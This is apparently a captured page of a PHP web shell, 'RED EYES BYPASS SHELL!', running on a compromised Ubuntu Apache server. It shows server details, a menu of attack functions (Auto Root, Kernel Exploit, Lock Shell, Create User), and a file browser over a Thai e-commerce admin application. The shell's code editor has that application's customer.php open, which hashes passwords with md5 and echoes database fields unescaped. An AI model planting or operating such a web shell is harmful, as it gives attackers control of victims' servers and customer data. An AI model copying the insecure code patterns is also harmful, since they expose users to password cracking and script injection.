Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
app /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
assets
[ DIR ]
drwxr-xr-x
barcode-generator
[ DIR ]
drwxr-xr-x
bower_components
[ DIR ]
drwxr-xr-x
chart-pie
[ DIR ]
drwxr-xr-x
class
[ DIR ]
drwxr-xr-x
dist
[ DIR ]
drwxr-xr-x
font-awesome
[ DIR ]
drwxr-xr-x
icon
[ DIR ]
drwxr-xr-x
img-banner
[ DIR ]
drwxr-xr-x
img-category
[ DIR ]
drwxr-xr-x
img-logo
[ DIR ]
drwxr-xr-x
img-product
[ DIR ]
drwxr-xr-x
img-product-item
[ DIR ]
drwxr-xr-x
img-slide
[ DIR ]
drwxr-xr-x
img-system
[ DIR ]
drwxr-xr-x
img-user
[ DIR ]
drwxr-xr-x
lightbox
[ DIR ]
drwxr-xr-x
modal
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
.htaccess
154
B
-rwxr-xr-x
addPerson.php
22.7
KB
-rwxr-xr-x
bank.php
9.45
KB
-rwxr-xr-x
banner.php
7.34
KB
-rwxr-xr-x
business.php
7.35
KB
-rwxr-xr-x
cancelOrder.php
7.5
KB
-rwxr-xr-x
category.php
11.4
KB
-rwxr-xr-x
check_login.php
424
B
-rwxr-xr-x
company - Copy.php
8.33
KB
-rwxr-xr-x
company.php
8.09
KB
-rwxr-xr-x
customer.php
10.31
KB
-rwxr-xr-x
footer.php
249
B
-rwxr-xr-x
header.php
2.57
KB
-rwxr-xr-x
import_script.php
4.11
KB
-rwxr-xr-x
import_style.php
1.66
KB
-rwxr-xr-x
index.php
1.36
KB
-rwxr-xr-x
levelPosition.php
7.58
KB
-rwxr-xr-x
lineToken.php
3.86
KB
-rwxr-xr-x
logout.php
77
B
-rwxr-xr-x
menu.php
2.5
KB
-rwxr-xr-x
menu_left.php
5.45
KB
-rwxr-xr-x
menu_left_home.php
513
B
-rwxr-xr-x
menu_main.php
88
B
-rwxr-xr-x
order.php
7.58
KB
-rwxr-xr-x
pagination.php
1.49
KB
-rwxr-xr-x
pagination_stock.php
1.51
KB
-rwxr-xr-x
payment.php
8.76
KB
-rwxr-xr-x
personData.php
21.22
KB
-rwxr-xr-x
product.php
15.56
KB
-rwxr-xr-x
report.php
11.58
KB
-rwxr-xr-x
reportSale.php
4.55
KB
-rwxr-xr-x
save_product.php
993
B
-rwxr-xr-x
select_amphures.php
621
B
-rwxr-xr-x
select_brand.php
668
B
-rwxr-xr-x
select_districts.php
537
B
-rwxr-xr-x
select_provinces.php
665
B
-rwxr-xr-x
slide.php
9.47
KB
-rwxr-xr-x
stockProduct.php
6.71
KB
-rwxr-xr-x
subbusiness.php
8
KB
-rwxr-xr-x
subcategory.php
8.44
KB
-rwxr-xr-x
type_user.php
549
B
-rwxr-xr-x
unit.php
7.12
KB
-rwxr-xr-x
uploadImage.php
9.53
KB
-rwxr-xr-x
userData.php
11.11
KB
-rwxr-xr-x
viewOrder.php
6.8
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : customer.php
<?php session_start(); include('../config/connect.php'); include('type_user.php'); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title><?php echo $title;?></title> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport"> <?php include('import_style.php');?> <link href="https://fonts.googleapis.com/css?family=Kanit:100,200,300&subset=thai" rel="stylesheet"> </head> <body class="hold-transition skin-blue sidebar-mini"> <?php include('check_login.php');?> <div class="wrapper"> <?php include('header.php');?> <?php include('menu_left.php');?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <?php include('menu_main.php'); ?> <!-- Main content --> <section class="content"> <!--เนื้อหา--> <div class="row"> <div class="col-md-12"> <div class="box"> <div class="box-header bg-theme text-center"> <h3 class="box-title">ฐานข้อมูลลูกค้า</h3> </div> <!-- /.box-header --> <div class="box-body"> <?php include('modal/form-add-modal.php');?> <button type="button" class="btn btn bg-blue btn-sm" data-toggle="modal" data-target="#addCustomer"> <span class="fa fa-plus"></span> เพิ่มลูกค้า </button> <p></p> <table id="table1" width="100%" class="table table-hover"> <thead> <tr> <th width="6%" class="text-center">ลำดับ</th> <th width="14%">Username</th> <th width="27%">ชื่อ - นามสกุล</th> <th width="13%">เบอร์โทรศัพท์</th> <th width="16%">Email</th> <th width="13%">วันที่ลงทะเบียน</th> <th width="11%" class="text-center">จัดการ</th> </tr> </thead> <tbody> <?php $customer_status = "1"; $stmt = $conn->prepare("SELECT c.*, pv.prov_name, a.amp_name, d.dis_name FROM tb_customer AS c LEFT JOIN provinces AS pv ON c.prov_id = pv.prov_id LEFT JOIN amphures AS a ON c.amp_id = a.amp_id LEFT JOIN districts AS d ON c.dis_id = d.dis_id WHERE c.customer_status=:customer_status ORDER BY c.customer_fullname ASC"); $stmt->bindParam(':customer_status', $customer_status , PDO::PARAM_STR); $stmt->execute(); $result = $stmt->fetchAll(); $i2 = 1; foreach($result as $row) { ?> <tr> <td align="center"><?php echo $i2;?></td> <td><?php echo $row['customer_user'];?></td> <td><?php echo $row['customer_fullname'];?><br>ที่อยู่ : <?php echo $row['customer_address'];?> ต. <?php echo $row['dis_name'];?> อ. <?php echo $row['amp_name'];?> จ. <?php echo $row['prov_name'];?> <?php echo $row['zipcode'];?> </td> <td><?php echo $row['customer_tel'];?></td> <td><?php echo $row['customer_email'];?></td> <td><?php echo date_format(date_create($row["customer_save"]),"d/m/Y H:i:s");?></td> <td align="center"> <button type="button" class="btn btn-success btn-sm" data-toggle="modal" data-target="#editCustomer<?php echo $row['customer_id'];?>"><span class="fa fa-edit"></span></button> <?php if($row['level_id'] == '1') { ?> <button type="button" class="btn btn-danger btn-sm" disabled><span class="fa fa-trash"></span> ลบ</button> <?php } else { ?> <button type="button" class="btn btn-danger btn-sm" data-toggle="modal" data-target="#deleteCustomer<?php echo $row['customer_id'];?>"><span class="fa fa-trash"></span></button> <?php } ?> </td> <?php include('modal/form-edit-modal.php'); ?> <?php include('modal/form-delete-modal.php'); ?> </tr> <?php $i2++; } ?> </tbody> </table> <?php if(isset($_POST['btnEditCustomer'])){ $customer_id = $_POST['customer_id']; $customer_fullname = $_POST['customer_fullname']; $customer_tel = $_POST['customer_tel']; $customer_email = $_POST['customer_email']; $customer_user = $_POST['customer_user']; if($customer_pass != '') { $customer_pass = md5($_POST['customer_pass']); } else { $customer_pass = $_POST['customer_pass_bf']; } $stmt = $conn->prepare("UPDATE tb_customer SET customer_fullname=:customer_fullname, customer_tel=:customer_tel, customer_email=:customer_email, customer_user=:customer_user, customer_pass=:customer_pass WHERE customer_id=:customer_id"); $stmt->bindParam(':customer_id', $customer_id , PDO::PARAM_INT); $stmt->bindParam(':customer_fullname', $customer_fullname , PDO::PARAM_STR); $stmt->bindParam(':customer_tel', $customer_tel , PDO::PARAM_STR); $stmt->bindParam(':customer_email', $customer_email , PDO::PARAM_STR); $stmt->bindParam(':customer_user', $customer_user , PDO::PARAM_STR); $stmt->bindParam(':customer_pass', $customer_pass , PDO::PARAM_STR); $result = $stmt->execute(); if($result){ echo ' <script> swal({ title: "แก้ไขข้อมูลสำเร็จ", icon: "success", button: "ตกลง", }).then( () => { location.href = "customer" }); </script> '; } else { echo ' <script> swal({ title: "Error เกิดข้อผิดพลาด", icon: "error", button: "ตกลง", }).then( () => { location.href = "'.$_SERVER['REQUEST_URI'].'" }); </script> '; } } ?> <?php if(isset($_POST['btnDeleteCustomer'])){ $customer_id = $_POST['customer_id']; $customer_status = "0"; $stmt = $conn->prepare("UPDATE tb_customer SET customer_status=:customer_status WHERE customer_id=:customer_id"); $stmt->bindParam(':customer_id', $customer_id , PDO::PARAM_INT); $stmt->bindParam(':customer_status', $customer_status , PDO::PARAM_STR); $result = $stmt->execute(); if($result){ echo ' <script> swal({ title: "ลบข้อมูลสำเร็จ", icon: "success", button: "ตกลง", }).then( () => { location.href = "customer" }); </script> '; } else { echo ' <script> swal({ title: "Error เกิดข้อผิดพลาด", icon: "error", button: "ตกลง", }).then( () => { location.href = "'.$_SERVER['REQUEST_URI'].'" }); </script> '; } } ?> <?php if(isset($_POST['btnAddCustomer'])){ $customer_fullname = $_POST['customer_fullname']; $customer_tel = $_POST['customer_tel']; $customer_email = $_POST['customer_email']; $customer_status = "1"; $customer_user = $_POST['customer_user']; $customer_pass = md5($_POST['customer_pass']); $customer_save = date('Y-m-d H:i:s'); $stmt = $conn->prepare("INSERT INTO tb_customer(customer_fullname, customer_tel, customer_email, customer_user, customer_pass, customer_status, customer_save) VALUES (:customer_fullname, :customer_tel, :customer_email, :customer_user, :customer_pass, :customer_status, :customer_save)"); $stmt->bindParam(':customer_fullname', $customer_fullname , PDO::PARAM_STR); $stmt->bindParam(':customer_tel', $customer_tel , PDO::PARAM_STR); $stmt->bindParam(':customer_email', $customer_email , PDO::PARAM_STR); $stmt->bindParam(':customer_user', $customer_user , PDO::PARAM_STR); $stmt->bindParam(':customer_pass', $customer_pass , PDO::PARAM_STR); $stmt->bindParam(':customer_status', $customer_status , PDO::PARAM_STR); $stmt->bindParam(':customer_save', $customer_save); $result = $stmt->execute(); if($result){ echo ' <script> swal({ title: "บันทึกข้อมูลสำเร็จ", icon: "success", button: "ตกลง", }).then( () => { location.href = "customer" }); </script> '; } else { echo ' <script> swal({ title: "Error เกิดข้อผิดพลาด", icon: "error", button: "ตกลง", }).then( () => { location.href = "'.$_SERVER['REQUEST_URI'].'" }); </script> '; } } ?> </div> <!-- /.box-body --> </div> <!-- /.box --> </div> <!-- /.col --> </div> <!-- ./row--> <!--ปิดเนื้อหา--> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <?php include('footer.php');?> <div class="control-sidebar-bg"></div> </div> <!-- ./wrapper --> <?php include('import_script.php');?> </body> </html> <?php $conn = null; ?>
Close